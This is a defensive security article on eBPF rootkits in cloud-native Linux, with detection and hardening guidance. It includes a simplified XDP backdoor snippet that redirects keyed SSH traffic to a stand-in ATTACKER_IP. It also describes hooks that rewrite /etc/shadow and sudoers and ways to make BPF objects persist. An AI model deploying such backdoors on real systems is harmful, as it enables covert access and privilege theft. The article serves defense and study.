Malicious Use of eBPF in Cloud‑Native Environments: Threats, Detection, and Defense

In recent years the cloud‑native ecosystem has grown rapidly, and eBPF (extended Berkeley Packet Filter) has become a core technology for networking, observability, and security. While eBPF enables powerful, low‑overhead kernel extensions, it also introduces new attack surfaces. This article examines how eBPF can be abused to build stealthy rootkits, the potential impact on Linux network and runtime layers, and practical detection and mitigation strategies.

Background : eBPF originated from the classic BPF packet filter (1992) and was integrated into the Linux kernel in 1997. Since kernel 4.x it supports JIT compilation, kprobes, tracepoints, and various hook points (XDP, TC, socket filters, etc.). Cloud‑native projects such as Cilium, Calico, and Falco rely heavily on eBPF for networking and security.

Malicious exploitation :

Network‑layer rootkits using XDP/TC to modify TCP packets, hide back‑door traffic, and bypass firewalls.

Runtime‑layer rootkits leveraging kprobe/tracepoint hooks to rewrite /etc/passwd, /etc/shadow, or sudoers files without touching the disk.

Persistence via long‑lived BPF objects (XDP, TC, CGROUP) that survive after the user‑space loader exits.

Both attack vectors are demonstrated with real‑world references (Black Hat 2021, DEF CON 29) and open‑source proof‑of‑concepts such as ebpfkit .

Code example – XDP ingress hook (simplified) :

SEC("xdp/ingress")
int xdp_ingress(struct xdp_md *ctx) {
    struct cursor c;
    struct pkt_ctx_t pkt;
    // Drop non‑SSH traffic
    if (!is_ssh(&c))
        return XDP_PASS;
    // Verify back‑door key (MAC, IP, port)
    if (!key_match())
        return XDP_PASS;
    // Rewrite destination IP/port to tunnel traffic
    pkt.ip->daddr = htonl(ATTACKER_IP);
    pkt.tcp->dest = htons(22);
    // Update checksum
    pkt.tcp->check = csum(pkt.tcp, sizeof(struct tcphdr));
    return XDP_PASS;
}

Code example – Tracepoint for sys_enter_bpf monitoring :

SEC("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
    struct bpf_context_t *ctx = make_event();
    if (!ctx)
        return 0;
    ctx->cmd = args->cmd;
    get_common_proc(&ctx->procinfo);
    send_event(args, ctx);
    return 0;
}

Detection and defense :

Pre‑execution hardening : limit CAP_BPF / SYS_ADMIN privileges, enforce seccomp to block bpf() syscalls, disable unprivileged BPF via sysctl kernel.unprivileged_bpf_disabled=1.

Runtime monitoring : intercept the BPF syscall (tracepoint/sys_enter_bpf), log creation of maps/progs, filter by sub‑command (focus on BPF_MAP_CREATE, BPF_PROG_LOAD, BPF_PROG_ATTACH, etc.).

Audit of loaded objects : use bpftool prog show, bpftool map show, and bpftool net show dev <iface> -p to enumerate XDP/TC hooks, CGROUP programs, and pinned objects in BPFFS.

Signature verification : optionally sign BPF bytecode before loading (e.g., via LWN proposal) to ensure only trusted programs run.

LSM hooks : block suspicious BPF commands at the kernel level (e.g., return -EPERM in a BPF LSM probe).

Engineering considerations :

Choose a mature eBPF library (Cilium’s Go library, libbpf, BCC) for stable development.

Leverage CO‑RE (Compile‑Once‑Run‑Everywhere) and BTF to avoid kernel‑version specific builds.

Pin long‑lived programs/maps to BPFFS to control lifetime and simplify forensic extraction.

Integrate with existing security platforms (e.g., Datadog, Falco) for alerting and response.

Overall, as cloud‑native workloads continue to adopt eBPF, security teams must incorporate eBPF‑aware detection and hardening into their defense‑in‑depth strategy.